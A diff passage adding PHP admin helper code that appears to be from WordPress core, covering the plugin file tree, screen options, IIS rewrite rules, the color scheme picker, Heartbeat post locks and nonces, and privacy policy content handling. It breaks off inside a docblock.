+function wp_print_plugin_file_tree( $tree, $label = '', $level = 2, $size = 1, $index = 1 ) {
+	global $file, $plugin;
+	if ( is_array( $tree ) ) {
+		$index = 0;
+		$size = count( $tree );
+		foreach ( $tree as $label => $plugin_file ) :
+			$index++;
+			if ( ! is_array( $plugin_file ) ) {
+				wp_print_plugin_file_tree( $plugin_file, $label, $level, $index, $size );
+				continue;
+			}
+			?>
+			<li role="treeitem" aria-expanded="true" tabindex="-1"
+				aria-level="<?php echo esc_attr( $level ); ?>"
+				aria-setsize="<?php echo esc_attr( $size ); ?>"
+				aria-posinset="<?php echo esc_attr( $index ); ?>">
+				<span class="folder-label"><?php echo esc_html( $label ); ?> <span class="screen-reader-text"><?php _e( 'folder' ); ?></span><span aria-hidden="true" class="icon"></span></span>
+				<ul role="group" class="tree-folder"><?php wp_print_plugin_file_tree( $plugin_file, '', $level + 1, $index, $size ); ?></ul>
+			</li>
+			<?php
+		endforeach;
+	} else {
+		$url = add_query_arg(
+			array(
+				'file' => rawurlencode( $tree ),
+				'plugin' => rawurlencode( $plugin ),
+			),
+			self_admin_url( 'plugin-editor.php' )
+		);
+		?>
+		<li role="none" class="<?php echo esc_attr( $file === $tree ? 'current-file' : '' ); ?>">
+			<a role="treeitem" tabindex="<?php echo esc_attr( $file === $tree ? '0' : '-1' ); ?>"
+				href="<?php echo esc_url( $url ); ?>"
+				aria-level="<?php echo esc_attr( $level ); ?>"
+				aria-setsize="<?php echo esc_attr( $size ); ?>"
+				aria-posinset="<?php echo esc_attr( $index ); ?>">
+				<?php
+				if ( $file === $tree ) {
+					echo '<span class="notice notice-info">' . esc_html( $label ) . '</span>';
+				} else {
+					echo esc_html( $label );
+				}
+				?>
+			</a>
+		</li>
+		<?php
+	}
+}
+
+/**
+ * Flushes rewrite rules if siteurl, home or page_on_front changed.
+ *
+ * @since 2.1.0
+ *
+ * @param string $old_value
+ * @param string $value
+ */
+function update_home_siteurl( $old_value, $value ) {
+	if ( wp_installing() )
+		return;
+
+	if ( is_multisite() && ms_is_switched() ) {
+		delete_option( 'rewrite_rules' );
+	} else {
+		flush_rewrite_rules();
+	}
+}
+
+
+/**
+ * Resets global variables based on $_GET and $_POST
+ *
+ * This function resets global variables based on the names passed
+ * in the $vars array to the value of $_POST[$var] or $_GET[$var] or ''
+ * if neither is defined.
+ *
+ * @since 2.0.0
+ *
+ * @param array $vars An array of globals to reset.
+ */
+function wp_reset_vars( $vars ) {
+	foreach ( $vars as $var ) {
+		if ( empty( $_POST[ $var ] ) ) {
+			if ( empty( $_GET[ $var ] ) ) {
+				$GLOBALS[ $var ] = '';
+			} else {
+				$GLOBALS[ $var ] = $_GET[ $var ];
+			}
+		} else {
+			$GLOBALS[ $var ] = $_POST[ $var ];
+		}
+	}
+}
+
+/**
+ * Displays the given administration message.
+ *
+ * @since 2.1.0
+ *
+ * @param string|WP_Error $message
+ */
+function show_message($message) {
+	if ( is_wp_error($message) ){
+		if ( $message->get_error_data() && is_string( $message->get_error_data() ) )
+			$message = $message->get_error_message() . ': ' . $message->get_error_data();
+		else
+			$message = $message->get_error_message();
+	}
+	echo "<p>$message</p>\n";
+	wp_ob_end_flush_all();
+	flush();
+}
+
+/**
+ * @since 2.8.0
+ *
+ * @param string $content
+ * @return array
+ */
+function wp_doc_link_parse( $content ) {
+	if ( !is_string( $content ) || empty( $content ) )
+		return array();
+
+	if ( !function_exists('token_get_all') )
+		return array();
+
+	$tokens = token_get_all( $content );
+	$count = count( $tokens );
+	$functions = array();
+	$ignore_functions = array();
+	for ( $t = 0; $t < $count - 2; $t++ ) {
+		if ( ! is_array( $tokens[ $t ] ) ) {
+			continue;
+		}
+
+		if ( T_STRING == $tokens[ $t ][0] && ( '(' == $tokens[ $t + 1 ] || '(' == $tokens[ $t + 2 ] ) ) {
+			// If it's a function or class defined locally, there's not going to be any docs available
+			if ( ( isset( $tokens[ $t - 2 ][1] ) && in_array( $tokens[ $t - 2 ][1], array( 'function', 'class' ) ) ) || ( isset( $tokens[ $t - 2 ][0] ) && T_OBJECT_OPERATOR == $tokens[ $t - 1 ][0] ) ) {
+				$ignore_functions[] = $tokens[$t][1];
+			}
+			// Add this to our stack of unique references
+			$functions[] = $tokens[$t][1];
+		}
+	}
+
+	$functions = array_unique( $functions );
+	sort( $functions );
+
+	/**
+	 * Filters the list of functions and classes to be ignored from the documentation lookup.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $ignore_functions Functions and classes to be ignored.
+	 */
+	$ignore_functions = apply_filters( 'documentation_ignore_functions', $ignore_functions );
+
+	$ignore_functions = array_unique( $ignore_functions );
+
+	$out = array();
+	foreach ( $functions as $function ) {
+		if ( in_array( $function, $ignore_functions ) )
+			continue;
+		$out[] = $function;
+	}
+
+	return $out;
+}
+
+/**
+ * Saves option for number of rows when listing posts, pages, comments, etc.
+ *
+ * @since 2.8.0
+ */
+function set_screen_options() {
+
+	if ( isset($_POST['wp_screen_options']) && is_array($_POST['wp_screen_options']) ) {
+		check_admin_referer( 'screen-options-nonce', 'screenoptionnonce' );
+
+		if ( !$user = wp_get_current_user() )
+			return;
+		$option = $_POST['wp_screen_options']['option'];
+		$value = $_POST['wp_screen_options']['value'];
+
+		if ( $option != sanitize_key( $option ) )
+			return;
+
+		$map_option = $option;
+		$type = str_replace('edit_', '', $map_option);
+		$type = str_replace('_per_page', '', $type);
+		if ( in_array( $type, get_taxonomies() ) )
+			$map_option = 'edit_tags_per_page';
+		elseif ( in_array( $type, get_post_types() ) )
+			$map_option = 'edit_per_page';
+		else
+			$option = str_replace('-', '_', $option);
+
+		switch ( $map_option ) {
+			case 'edit_per_page':
+			case 'users_per_page':
+			case 'edit_comments_per_page':
+			case 'upload_per_page':
+			case 'edit_tags_per_page':
+			case 'plugins_per_page':
+			case 'export_personal_data_requests_per_page':
+			case 'remove_personal_data_requests_per_page':
+			// Network admin
+			case 'sites_network_per_page':
+			case 'users_network_per_page':
+			case 'site_users_network_per_page':
+			case 'plugins_network_per_page':
+			case 'themes_network_per_page':
+			case 'site_themes_network_per_page':
+				$value = (int) $value;
+				if ( $value < 1 || $value > 999 )
+					return;
+				break;
+			default:
+				$screen_option = false;
+
+				if ( '_page' === substr( $option, -5 ) || 'layout_columns' === $option ) {
+					/**
+					 * Filters a screen option value before it is set.
+					 *
+					 * The filter can also be used to modify non-standard [items]_per_page
+					 * settings. See the parent function for a full list of standard options.
+					 *
+					 * Returning false to the filter will skip saving the current option.
+					 *
+					 * @since 2.8.0
+					 * @since 5.4.2 Only applied to options ending with '_page',
+					 *              or the 'layout_columns' option.
+					 *
+					 * @see set_screen_options()
+					 *
+					 * @param mixed  $screen_option The value to save instead of the option value.
+					 *                              Default false (to skip saving the current option).
+					 * @param string $option        The option name.
+					 * @param int    $value         The option value.
+					 */
+					$screen_option = apply_filters( 'set-screen-option', $screen_option, $option, $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
+				}
+
+				/**
+				 * Filters a screen option value before it is set.
+				 *
+				 * The dynamic portion of the hook, `$option`, refers to the option name.
+				 *
+				 * Returning false to the filter will skip saving the current option.
+				 *
+				 * @since 5.4.2
+				 *
+				 * @see set_screen_options()
+				 *
+				 * @param mixed   $screen_option The value to save instead of the option value.
+				 *                               Default false (to skip saving the current option).
+				 * @param string  $option        The option name.
+				 * @param int     $value         The option value.
+				 */
+				$value = apply_filters( "set_screen_option_{$option}", $screen_option, $option, $value );
+
+				if ( false === $value )
+					return;
+				break;
+		}
+
+		update_user_meta($user->ID, $option, $value);
+
+		$url = remove_query_arg( array( 'pagenum', 'apage', 'paged' ), wp_get_referer() );
+		if ( isset( $_POST['mode'] ) ) {
+			$url = add_query_arg( array( 'mode' => $_POST['mode'] ), $url );
+		}
+
+		wp_safe_redirect( $url );
+		exit;
+	}
+}
+
+/**
+ * Check if rewrite rule for WordPress already exists in the IIS 7+ configuration file
+ *
+ * @since 2.8.0
+ *
+ * @return bool
+ * @param string $filename The file path to the configuration file
+ */
+function iis7_rewrite_rule_exists($filename) {
+	if ( ! file_exists($filename) )
+		return false;
+	if ( ! class_exists( 'DOMDocument', false ) ) {
+		return false;
+	}
+
+	$doc = new DOMDocument();
+	if ( $doc->load($filename) === false )
+		return false;
+	$xpath = new DOMXPath($doc);
+	$rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')] | /configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'WordPress\')]');
+	if ( $rules->length == 0 )
+		return false;
+	else
+		return true;
+}
+
+/**
+ * Delete WordPress rewrite rule from web.config file if it exists there
+ *
+ * @since 2.8.0
+ *
+ * @param string $filename Name of the configuration file
+ * @return bool
+ */
+function iis7_delete_rewrite_rule($filename) {
+	// If configuration file does not exist then rules also do not exist so there is nothing to delete
+	if ( ! file_exists($filename) )
+		return true;
+
+	if ( ! class_exists( 'DOMDocument', false ) ) {
+		return false;
+	}
+
+	$doc = new DOMDocument();
+	$doc->preserveWhiteSpace = false;
+
+	if ( $doc -> load($filename) === false )
+		return false;
+	$xpath = new DOMXPath($doc);
+	$rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')] | /configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'WordPress\')]');
+	if ( $rules->length > 0 ) {
+		$child = $rules->item(0);
+		$parent = $child->parentNode;
+		$parent->removeChild($child);
+		$doc->formatOutput = true;
+		saveDomDocument($doc, $filename);
+	}
+	return true;
+}
+
+/**
+ * Add WordPress rewrite rule to the IIS 7+ configuration file.
+ *
+ * @since 2.8.0
+ *
+ * @param string $filename The file path to the configuration file
+ * @param string $rewrite_rule The XML fragment with URL Rewrite rule
+ * @return bool
+ */
+function iis7_add_rewrite_rule($filename, $rewrite_rule) {
+	if ( ! class_exists( 'DOMDocument', false ) ) {
+		return false;
+	}
+
+	// If configuration file does not exist then we create one.
+	if ( ! file_exists($filename) ) {
+		$fp = fopen( $filename, 'w');
+		fwrite($fp, '<configuration/>');
+		fclose($fp);
+	}
+
+	$doc = new DOMDocument();
+	$doc->preserveWhiteSpace = false;
+
+	if ( $doc->load($filename) === false )
+		return false;
+
+	$xpath = new DOMXPath($doc);
+
+	// First check if the rule already exists as in that case there is no need to re-add it
+	$wordpress_rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')] | /configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'WordPress\')]');
+	if ( $wordpress_rules->length > 0 )
+		return true;
+
+	// Check the XPath to the rewrite rule and create XML nodes if they do not exist
+	$xmlnodes = $xpath->query('/configuration/system.webServer/rewrite/rules');
+	if ( $xmlnodes->length > 0 ) {
+		$rules_node = $xmlnodes->item(0);
+	} else {
+		$rules_node = $doc->createElement('rules');
+
+		$xmlnodes = $xpath->query('/configuration/system.webServer/rewrite');
+		if ( $xmlnodes->length > 0 ) {
+			$rewrite_node = $xmlnodes->item(0);
+			$rewrite_node->appendChild($rules_node);
+		} else {
+			$rewrite_node = $doc->createElement('rewrite');
+			$rewrite_node->appendChild($rules_node);
+
+			$xmlnodes = $xpath->query('/configuration/system.webServer');
+			if ( $xmlnodes->length > 0 ) {
+				$system_webServer_node = $xmlnodes->item(0);
+				$system_webServer_node->appendChild($rewrite_node);
+			} else {
+				$system_webServer_node = $doc->createElement('system.webServer');
+				$system_webServer_node->appendChild($rewrite_node);
+
+				$xmlnodes = $xpath->query('/configuration');
+				if ( $xmlnodes->length > 0 ) {
+					$config_node = $xmlnodes->item(0);
+					$config_node->appendChild($system_webServer_node);
+				} else {
+					$config_node = $doc->createElement('configuration');
+					$doc->appendChild($config_node);
+					$config_node->appendChild($system_webServer_node);
+				}
+			}
+		}
+	}
+
+	$rule_fragment = $doc->createDocumentFragment();
+	$rule_fragment->appendXML($rewrite_rule);
+	$rules_node->appendChild($rule_fragment);
+
+	$doc->encoding = "UTF-8";
+	$doc->formatOutput = true;
+	saveDomDocument($doc, $filename);
+
+	return true;
+}
+
+/**
+ * Saves the XML document into a file
+ *
+ * @since 2.8.0
+ *
+ * @param DOMDocument $doc
+ * @param string $filename
+ */
+function saveDomDocument($doc, $filename) {
+	$config = $doc->saveXML();
+	$config = preg_replace("/([^\r])\n/", "$1\r\n", $config);
+	$fp = fopen($filename, 'w');
+	fwrite($fp, $config);
+	fclose($fp);
+}
+
+/**
+ * Display the default admin color scheme picker (Used in user-edit.php)
+ *
+ * @since 3.0.0
+ *
+ * @global array $_wp_admin_css_colors
+ *
+ * @param int $user_id User ID.
+ */
+function admin_color_scheme_picker( $user_id ) {
+	global $_wp_admin_css_colors;
+
+	ksort( $_wp_admin_css_colors );
+
+	if ( isset( $_wp_admin_css_colors['fresh'] ) ) {
+		// Set Default ('fresh') and Light should go first.
+		$_wp_admin_css_colors = array_filter( array_merge( array( 'fresh' => '', 'light' => '' ), $_wp_admin_css_colors ) );
+	}
+
+	$current_color = get_user_option( 'admin_color', $user_id );
+
+	if ( empty( $current_color ) || ! isset( $_wp_admin_css_colors[ $current_color ] ) ) {
+		$current_color = 'fresh';
+	}
+
+	?>
+	<fieldset id="color-picker" class="scheme-list">
+		<legend class="screen-reader-text"><span><?php _e( 'Admin Color Scheme' ); ?></span></legend>
+		<?php
+		wp_nonce_field( 'save-color-scheme', 'color-nonce', false );
+		foreach ( $_wp_admin_css_colors as $color => $color_info ) :
+
+			?>
+			<div class="color-option <?php echo ( $color == $current_color ) ? 'selected' : ''; ?>">
+				<input name="admin_color" id="admin_color_<?php echo esc_attr( $color ); ?>" type="radio" value="<?php echo esc_attr( $color ); ?>" class="tog" <?php checked( $color, $current_color ); ?> />
+				<input type="hidden" class="css_url" value="<?php echo esc_url( $color_info->url ); ?>" />
+				<input type="hidden" class="icon_colors" value="<?php echo esc_attr( wp_json_encode( array( 'icons' => $color_info->icon_colors ) ) ); ?>" />
+				<label for="admin_color_<?php echo esc_attr( $color ); ?>"><?php echo esc_html( $color_info->name ); ?></label>
+				<table class="color-palette">
+					<tr>
+					<?php
+
+					foreach ( $color_info->colors as $html_color ) {
+						?>
+						<td style="background-color: <?php echo esc_attr( $html_color ); ?>">&nbsp;</td>
+						<?php
+					}
+
+					?>
+					</tr>
+				</table>
+			</div>
+			<?php
+
+		endforeach;
+
+	?>
+	</fieldset>
+	<?php
+}
+
+/**
+ *
+ * @global array $_wp_admin_css_colors
+ */
+function wp_color_scheme_settings() {
+	global $_wp_admin_css_colors;
+
+	$color_scheme = get_user_option( 'admin_color' );
+
+	// It's possible to have a color scheme set that is no longer registered.
+	if ( empty( $_wp_admin_css_colors[ $color_scheme ] ) ) {
+		$color_scheme = 'fresh';
+	}
+
+	if ( ! empty( $_wp_admin_css_colors[ $color_scheme ]->icon_colors ) ) {
+		$icon_colors = $_wp_admin_css_colors[ $color_scheme ]->icon_colors;
+	} elseif ( ! empty( $_wp_admin_css_colors['fresh']->icon_colors ) ) {
+		$icon_colors = $_wp_admin_css_colors['fresh']->icon_colors;
+	} else {
+		// Fall back to the default set of icon colors if the default scheme is missing.
+		$icon_colors = array( 'base' => '#82878c', 'focus' => '#00a0d2', 'current' => '#fff' );
+	}
+
+	echo '<script type="text/javascript">var _wpColorScheme = ' . wp_json_encode( array( 'icons' => $icon_colors ) ) . ";</script>\n";
+}
+
+/**
+ * @since 3.3.0
+ */
+function _ipad_meta() {
+	if ( wp_is_mobile() ) {
+		?>
+		<meta name="viewport" id="viewport-meta" content="width=device-width, initial-scale=1">
+		<?php
+	}
+}
+
+/**
+ * Check lock status for posts displayed on the Posts screen
+ *
+ * @since 3.6.0
+ *
+ * @param array  $response  The Heartbeat response.
+ * @param array  $data      The $_POST data sent.
+ * @param string $screen_id The screen id.
+ * @return array The Heartbeat response.
+ */
+function wp_check_locked_posts( $response, $data, $screen_id ) {
+	$checked = array();
+
+	if ( array_key_exists( 'wp-check-locked-posts', $data ) && is_array( $data['wp-check-locked-posts'] ) ) {
+		foreach ( $data['wp-check-locked-posts'] as $key ) {
+			if ( ! $post_id = absint( substr( $key, 5 ) ) )
+				continue;
+
+			if ( ( $user_id = wp_check_post_lock( $post_id ) ) && ( $user = get_userdata( $user_id ) ) && current_user_can( 'edit_post', $post_id ) ) {
+				$send = array( 'text' => sprintf( __( '%s is currently editing' ), $user->display_name ) );
+
+				if ( ( $avatar = get_avatar( $user->ID, 18 ) ) && preg_match( "|src='([^']+)'|", $avatar, $matches ) )
+					$send['avatar_src'] = $matches[1];
+
+				$checked[$key] = $send;
+			}
+		}
+	}
+
+	if ( ! empty( $checked ) )
+		$response['wp-check-locked-posts'] = $checked;
+
+	return $response;
+}
+
+/**
+ * Check lock status on the New/Edit Post screen and refresh the lock
+ *
+ * @since 3.6.0
+ *
+ * @param array  $response  The Heartbeat response.
+ * @param array  $data      The $_POST data sent.
+ * @param string $screen_id The screen id.
+ * @return array The Heartbeat response.
+ */
+function wp_refresh_post_lock( $response, $data, $screen_id ) {
+	if ( array_key_exists( 'wp-refresh-post-lock', $data ) ) {
+		$received = $data['wp-refresh-post-lock'];
+		$send = array();
+
+		if ( ! $post_id = absint( $received['post_id'] ) )
+			return $response;
+
+		if ( ! current_user_can('edit_post', $post_id) )
+			return $response;
+
+		if ( ( $user_id = wp_check_post_lock( $post_id ) ) && ( $user = get_userdata( $user_id ) ) ) {
+			$error = array(
+				'text' => sprintf( __( '%s has taken over and is currently editing.' ), $user->display_name )
+			);
+
+			if ( $avatar = get_avatar( $user->ID, 64 ) ) {
+				if ( preg_match( "|src='([^']+)'|", $avatar, $matches ) )
+					$error['avatar_src'] = $matches[1];
+			}
+
+			$send['lock_error'] = $error;
+		} else {
+			if ( $new_lock = wp_set_post_lock( $post_id ) )
+				$send['new_lock'] = implode( ':', $new_lock );
+		}
+
+		$response['wp-refresh-post-lock'] = $send;
+	}
+
+	return $response;
+}
+
+/**
+ * Check nonce expiration on the New/Edit Post screen and refresh if needed
+ *
+ * @since 3.6.0
+ *
+ * @param array  $response  The Heartbeat response.
+ * @param array  $data      The $_POST data sent.
+ * @param string $screen_id The screen id.
+ * @return array The Heartbeat response.
+ */
+function wp_refresh_post_nonces( $response, $data, $screen_id ) {
+	if ( array_key_exists( 'wp-refresh-post-nonces', $data ) ) {
+		$received = $data['wp-refresh-post-nonces'];
+		$response['wp-refresh-post-nonces'] = array( 'check' => 1 );
+
+		if ( ! $post_id = absint( $received['post_id'] ) ) {
+			return $response;
+		}
+
+		if ( ! current_user_can( 'edit_post', $post_id ) ) {
+			return $response;
+		}
+
+		$response['wp-refresh-post-nonces'] = array(
+			'replace' => array(
+				'getpermalinknonce' => wp_create_nonce('getpermalink'),
+				'samplepermalinknonce' => wp_create_nonce('samplepermalink'),
+				'closedpostboxesnonce' => wp_create_nonce('closedpostboxes'),
+				'_ajax_linking_nonce' => wp_create_nonce( 'internal-linking' ),
+				'_wpnonce' => wp_create_nonce( 'update-post_' . $post_id ),
+			),
+		);
+	}
+
+	return $response;
+}
+
+/**
+ * Add the latest Heartbeat and REST-API nonce to the Heartbeat response.
+ *
+ * @since 5.0.0
+ *
+ * @param array  $response  The Heartbeat response.
+ * @return array The Heartbeat response.
+ */
+function wp_refresh_heartbeat_nonces( $response ) {
+	// Refresh the Rest API nonce.
+	$response['rest_nonce'] = wp_create_nonce( 'wp_rest' );
+	// TEMPORARY: Compat with api-fetch library
+	$response['rest-nonce'] = $response['rest_nonce'];
+
+	// Refresh the Heartbeat nonce.
+	$response['heartbeat_nonce'] = wp_create_nonce( 'heartbeat-nonce' );
+	return $response;
+}
+
+/**
+ * Disable suspension of Heartbeat on the Add/Edit Post screens.
+ *
+ * @since 3.8.0
+ *
+ * @global string $pagenow
+ *
+ * @param array $settings An array of Heartbeat settings.
+ * @return array Filtered Heartbeat settings.
+ */
+function wp_heartbeat_set_suspension( $settings ) {
+	global $pagenow;
+
+	if ( 'post.php' === $pagenow || 'post-new.php' === $pagenow ) {
+		$settings['suspension'] = 'disable';
+	}
+
+	return $settings;
+}
+
+/**
+ * Autosave with heartbeat
+ *
+ * @since 3.9.0
+ *
+ * @param array $response The Heartbeat response.
+ * @param array $data     The $_POST data sent.
+ * @return array The Heartbeat response.
+ */
+function heartbeat_autosave( $response, $data ) {
+	if ( ! empty( $data['wp_autosave'] ) ) {
+		$saved = wp_autosave( $data['wp_autosave'] );
+
+		if ( is_wp_error( $saved ) ) {
+			$response['wp_autosave'] = array( 'success' => false, 'message' => $saved->get_error_message() );
+		} elseif ( empty( $saved ) ) {
+			$response['wp_autosave'] = array( 'success' => false, 'message' => __( 'Error while saving.' ) );
+		} else {
+			/* translators: draft saved date format, see https://secure.php.net/date */
+			$draft_saved_date_format = __( 'g:i:s a' );
+			/* translators: %s: date and time */
+			$response['wp_autosave'] = array( 'success' => true, 'message' => sprintf( __( 'Draft saved at %s.' ), date_i18n( $draft_saved_date_format ) ) );
+		}
+	}
+
+	return $response;
+}
+
+/**
+ * Remove single-use URL parameters and create canonical link based on new URL.
+ *
+ * Remove specific query string parameters from a URL, create the canonical link,
+ * put it in the admin header, and change the current URL to match.
+ *
+ * @since 4.2.0
+ */
+function wp_admin_canonical_url() {
+	$removable_query_args = wp_removable_query_args();
+
+	if ( empty( $removable_query_args ) ) {
+		return;
+	}
+
+	// Ensure we're using an absolute URL.
+	$current_url  = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
+	$filtered_url = remove_query_arg( $removable_query_args, $current_url );
+	?>
+	<link id="wp-admin-canonical" rel="canonical" href="<?php echo esc_url( $filtered_url ); ?>" />
+	<script>
+		if ( window.history.replaceState ) {
+			window.history.replaceState( null, null, document.getElementById( 'wp-admin-canonical' ).href + window.location.hash );
+		}
+	</script>
+<?php
+}
+
+/**
+ * Send a referrer policy header so referrers are not sent externally from administration screens.
+ *
+ * @since 4.9.0
+ */
+function wp_admin_headers() {
+	$policy = 'strict-origin-when-cross-origin';
+
+	/**
+	 * Filters the admin referrer policy header value.
+	 *
+	 * @since 4.9.0
+	 * @since 4.9.5 The default value was changed to 'strict-origin-when-cross-origin'.
+	 *
+	 * @link https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy
+	 *
+	 * @param string $policy The admin referrer policy header value. Default 'strict-origin-when-cross-origin'.
+	 */
+	$policy = apply_filters( 'admin_referrer_policy', $policy );
+
+	header( sprintf( 'Referrer-Policy: %s', $policy ) );
+}
+
+/**
+ * Outputs JS that reloads the page if the user navigated to it with the Back or Forward button.
+ *
+ * Used on the Edit Post and Add New Post screens. Needed to ensure the page is not loaded from browser cache,
+ * so the post title and editor content are the last saved versions. Ideally this script should run first in the head.
+ *
+ * @since 4.6.0
+ */
+function wp_page_reload_on_back_button_js() {
+	?>
+	<script>
+		if ( typeof performance !== 'undefined' && performance.navigation && performance.navigation.type === 2 ) {
+			document.location.reload( true );
+		}
+	</script>
+	<?php
+}
+
+/**
+ * Send a confirmation request email when a change of site admin email address is attempted.
+ *
+ * The new site admin address will not become active until confirmed.
+ *
+ * @since 3.0.0
+ * @since 4.9.0 This function was moved from wp-admin/includes/ms.php so it's no longer Multisite specific.
+ *
+ * @param string $old_value The old site admin email address.
+ * @param string $value     The proposed new site admin email address.
+ */
+function update_option_new_admin_email( $old_value, $value ) {
+	if ( $value == get_option( 'admin_email' ) || ! is_email( $value ) ) {
+		return;
+	}
+
+	$hash = md5( $value . time() . wp_rand() );
+	$new_admin_email = array(
+		'hash'     => $hash,
+		'newemail' => $value,
+	);
+	update_option( 'adminhash', $new_admin_email );
+
+	$switched_locale = switch_to_locale( get_user_locale() );
+
+	/* translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL: those are placeholders. */
+	$email_text = __( 'Howdy ###USERNAME###,
+
+You recently requested to have the administration email address on
+your site changed.
+
+If this is correct, please click on the following link to change it:
+###ADMIN_URL###
+
+You can safely ignore and delete this email if you do not want to
+take this action.
+
+This email has been sent to ###EMAIL###
+
+Regards,
+All at ###SITENAME###
+###SITEURL###' );
+
+	/**
+	 * Filters the text of the email sent when a change of site admin email address is attempted.
+	 *
+	 * The following strings have a special meaning and will get replaced dynamically:
+	 * ###USERNAME###  The current user's username.
+	 * ###ADMIN_URL### The link to click on to confirm the email change.
+	 * ###EMAIL###     The proposed new site admin email address.
+	 * ###SITENAME###  The name of the site.
+	 * ###SITEURL###   The URL to the site.
+	 *
+	 * @since MU (3.0.0)
+	 * @since 4.9.0 This filter is no longer Multisite specific.
+	 *
+	 * @param string $email_text      Text in the email.
+	 * @param array  $new_admin_email {
+	 *     Data relating to the new site admin email address.
+	 *
+	 *     @type string $hash     The secure hash used in the confirmation link URL.
+	 *     @type string $newemail The proposed new site admin email address.
+	 * }
+	 */
+	$content = apply_filters( 'new_admin_email_content', $email_text, $new_admin_email );
+
+	$current_user = wp_get_current_user();
+	$content = str_replace( '###USERNAME###', $current_user->user_login, $content );
+	$content = str_replace( '###ADMIN_URL###', esc_url( self_admin_url( 'options.php?adminhash=' . $hash ) ), $content );
+	$content = str_replace( '###EMAIL###', $value, $content );
+	$content = str_replace( '###SITENAME###', wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ), $content );
+	$content = str_replace( '###SITEURL###', home_url(), $content );
+
+	wp_mail( $value, sprintf( __( '[%s] New Admin Email Address' ), wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ) ), $content );
+
+	if ( $switched_locale ) {
+		restore_previous_locale();
+	}
+}
+
+/**
+ * Appends '(Draft)' to draft page titles in the privacy page dropdown
+ * so that unpublished content is obvious.
+ *
+ * @since 4.9.8
+ * @access private
+ *
+ * @param string  $title Page title.
+ * @param WP_Post $page  Page data object.
+ *
+ * @return string Page title.
+ */
+function _wp_privacy_settings_filter_draft_page_titles( $title, $page ) {
+	if ( 'draft' === $page->post_status && 'privacy' === get_current_screen()->id ) {
+		/* translators: %s: Page Title */
+		$title = sprintf( __( '%s (Draft)' ), $title );
+	}
+
+	return $title;
+}
+
+/**
+ * WP_Privacy_Policy_Content class.
+ * TODO: move this to a new file.
+ *
+ * @since 4.9.6
+ */
+final class WP_Privacy_Policy_Content {
+
+	private static $policy_content = array();
+
+	/**
+	 * Constructor
+	 *
+	 * @since 4.9.6
+	 */
+	private function __construct() {}
+
+	/**
+	 * Add content to the postbox shown when editing the privacy policy.
+	 *
+	 * Plugins and themes should suggest text for inclusion in the site's privacy policy.
+	 * The suggested text should contain information about any functionality that affects user privacy,
+	 * and will be shown in the Suggested Privacy Policy Content postbox.
+	 *
+	 * Intended for use from `wp_add_privacy_policy_content()`.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param string $plugin_name The name of the plugin or theme that is suggesting content for the site's privacy policy.
+	 * @param string $policy_text The suggested content for inclusion in the policy.
+	 */
+	public static function add( $plugin_name, $policy_text ) {
+		if ( empty( $plugin_name ) || empty( $policy_text ) ) {
+			return;
+		}
+
+		$data = array(
+			'plugin_name' => $plugin_name,
+			'policy_text' => $policy_text,
+		);
+
+		if ( ! in_array( $data, self::$policy_content, true ) ) {
+			self::$policy_content[] = $data;
+		}
+	}
+
+	/**
+	 * Quick check if any privacy info has changed.
+	 *
+	 * @since 4.9.6
+	 */
+	public static function text_change_check() {
+
+		$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
+
+		// The site doesn't have a privacy policy.
+		if ( empty( $policy_page_id ) ) {
+			return false;
+		}
+
+		if ( ! current_user_can( 'edit_post', $policy_page_id ) ) {
+			return false;
+		}
+
+		$old = (array) get_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
+
+		// Updates are not relevant if the user has not reviewed any suggestions yet.
+		if ( empty( $old ) ) {
+			return false;
+		}
+
+		$cached = get_option( '_wp_suggested_policy_text_has_changed' );
+
+		/*
+		 * When this function is called before `admin_init`, `self::$policy_content`
+		 * has not been populated yet, so use the cached result from the last
+		 * execution instead.
+		 */
+		if ( ! did_action( 'admin_init' ) ) {
+			return 'changed' === $cached;
+		}
+
+		$new = self::$policy_content;
+
+		// Remove the extra values added to the meta.
+		foreach ( $old as $key => $data ) {
+			if ( ! empty( $data['removed'] ) ) {
+				unset( $old[ $key ] );
+				continue;
+			}
+
+			$old[ $key ] = array(
+				'plugin_name' => $data['plugin_name'],
+				'policy_text' => $data['policy_text'],
+			);
+		}
+
+		// Normalize the order of texts, to facilitate comparison.
+		sort( $old );
+		sort( $new );
+
+		// The == operator (equal, not identical) was used intentionally.
+		// See http://php.net/manual/en/language.operators.array.php
+		if ( $new != $old ) {
+			// A plugin was activated or deactivated, or some policy text has changed.
+			// Show a notice on the relevant screens to inform the admin.
+			add_action( 'admin_notices', array( 'WP_Privacy_Policy_Content', 'policy_text_changed_notice' ) );
+			$state = 'changed';
+		} else {
+			$state = 'not-changed';
+		}
+
+		// Cache the result for use before `admin_init` (see above).
+		if ( $cached !== $state ) {
+			update_option( '_wp_suggested_policy_text_has_changed', $state );
+		}
+
+		return 'changed' === $state;
+	}
+
+	/**
+	 * Output a warning when some privacy info has changed.
+	 *
+	 * @since 4.9.6
+	 */
+	public static function policy_text_changed_notice() {
+		global $post;
+
+		$screen = get_current_screen()->id;
+
+		if ( 'privacy' !== $screen ) {
+			return;
+		}
+
+		?>
+		<div class="policy-text-updated notice notice-warning is-dismissible">
+			<p><?php
+				printf(
+					/* translators: %s: Privacy Policy Guide URL */
+					__( 'The suggested privacy policy text has changed. Please <a href="%s">review the guide</a> and update your privacy policy.' ),
+					esc_url( admin_url( 'tools.php?wp-privacy-policy-guide=1' ) )
+				);
+			?></p>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Update the cached policy info when the policy page is updated.
+	 *
+	 * @since 4.9.6
+	 * @access private
+	 */
